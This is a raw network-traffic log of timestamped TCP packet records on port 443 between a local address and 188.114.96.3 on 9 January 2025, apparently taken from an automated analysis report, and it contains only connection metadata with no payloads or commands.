Jan 9, 2025 09:31:18.995081902 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.995094061 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.995100975 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.995141983 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.995157003 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.998712063 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.998776913 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.998781919 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.998791933 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.998826981 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:18.999052048 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:18.999099970 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.002722025 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.002789974 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.002821922 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.002830029 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.002842903 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.002882957 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.011795998 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.011882067 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.011990070 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.012185097 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.012227058 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.012284040 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.019135952 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.019179106 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.019201994 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.019208908 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.019239902 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.026139021 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.026190996 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.026202917 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.026287079 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.026304007 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.026348114 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.026352882 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.033375978 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.033442974 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.033449888 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.033462048 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.033493996 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.033499002 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.033515930 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.033586025 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.033629894 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.033634901 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.033658028 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.033668995 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.041682959 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.041832924 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.041881084 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.041889906 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.042290926 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.042344093 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.042354107 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.042416096 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.045842886 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.046303034 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.046658039 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.046664953 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.046762943 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.051096916 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.051136017 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.051162958 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.051167965 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.051177025 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.051213026 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.051218987 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.051284075 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.056972980 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.057029009 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.057132959 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.057385921 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.057432890 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.057437897 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.057477951 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.061806917 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.061855078 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.061958075 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.061999083 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.067328930 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.067392111 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.067401886 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.067446947 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.067451954 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.067481995 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.067513943 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.067548990 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.067553997 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.067600965 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.071279049 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.071635008 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.071687937 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.071693897 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.071748972 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.073697090 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.073750973 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.073873043 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.073921919 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.077806950 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.077846050 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.077868938 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.077876091 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.077904940 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.077919006 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.078016043 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.078073025 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.081861019 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.081903934 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.085660934 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.085733891 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.085771084 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.085824966 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.098742962 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.098788977 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.098813057 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.098829985 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.098855019 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.106051922 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.106075048 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.106122017 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.106157064 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.106188059 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.106203079 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.113159895 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.113214016 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.113229036 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.132860899 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.132885933 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.132945061 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.132983923 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.132986069 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.133004904 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.133034945 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.133425951 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.133476019 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.133481979 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.133776903 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.133833885 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.133840084 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.134040117 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.138012886 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.138077974 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.138183117 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.138241053 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.148823023 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.148874044 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.148891926 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.148910999 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.148924112 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.149602890 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.149679899 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.149693012 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.154202938 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.154273987 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.154275894 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.154306889 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.154345989 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.158148050 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.158191919 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.158207893 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.158217907 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.158257961 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.158258915 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.158269882 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.158307076 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.160573959 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.160643101 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.160651922 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.160707951 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.164803028 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.164887905 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.164895058 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.168761969 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.168823957 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.168838024 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.185669899 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.185739040 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.185748100 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.185900927 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.185956955 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.185961962 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.185973883 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.186018944 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.186024904 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.186798096 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.186852932 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.186858892 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.186877966 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.186939955 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.186947107 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.192851067 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.192905903 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.192914009 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.199867964 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.199922085 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.199945927 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.199954987 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.199973106 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.199992895 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.199997902 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.207218885 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.207292080 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.207299948 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.219719887 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.219786882 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.219799995 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.219834089 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.219934940 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.219939947 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.220190048 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.220266104 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.220307112 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.220360994 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.220411062 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.220416069 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.220499992 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.235789061 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.235862970 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.236083984 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.236145020 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.241117954 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.241142988 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.241195917 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.241202116 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.241251945 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.245322943 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.245373011 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.245377064 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.245384932 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.245423079 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.255585909 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.255624056 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.255709887 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.255717993 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.255748034 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.255765915 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.272495985 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.272599936 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.273565054 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.273612976 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.273626089 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.273628950 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.273654938 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.273682117 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.273691893 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.273758888 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.274287939 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.274339914 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.274339914 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.274348974 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.274388075 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.279690981 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.279762030 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.286647081 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.286715031 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.306691885 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.306720018 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.306772947 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.306777000 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.306797981 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.306818962 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.306819916 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.306868076 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.306873083 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.307337999 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.307399035 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.307404041 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.307482004 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.322674036 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.322757959 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.322763920 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.322776079 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.322813988 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.322823048 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.322869062 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.322947979 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.323004007 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.323270082 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.323340893 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.328474998 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.328516960 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.328560114 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.328567982 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.328594923 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.328608036 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.334332943 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.334393024 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.334424973 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.334481955 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.335161924 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.335233927 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.342483044 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.342567921 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.359786034 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.359817982 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.359858990 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.359869003 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.359905005 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.360524893 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.360548973 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.360590935 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.360595942 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.360624075 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.360639095 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.366506100 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.366576910 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.380948067 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.380975962 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.381019115 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.381025076 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.381072044 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.381077051 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.381112099 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.393548965 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.393626928 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.393631935 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.394167900 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.394233942 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.394238949 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.394304037 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.409603119 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.409640074 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.409671068 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.409677029 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.409687996 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.409714937 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.409720898 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.409976006 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.414808035 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.414871931 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.414896011 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.414901018 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.414927959 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.415196896 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.415247917 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.415251970 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.415298939 CET	49723	443	192.168.2.6	188.114.96.3
Jan 9, 2025 09:31:19.415529966 CET	443	49723	188.114.96.3	192.168.2.6
Jan 9, 2025 09:31:19.415587902 CET	49723	443	192.168.2.6	188.114.96.3
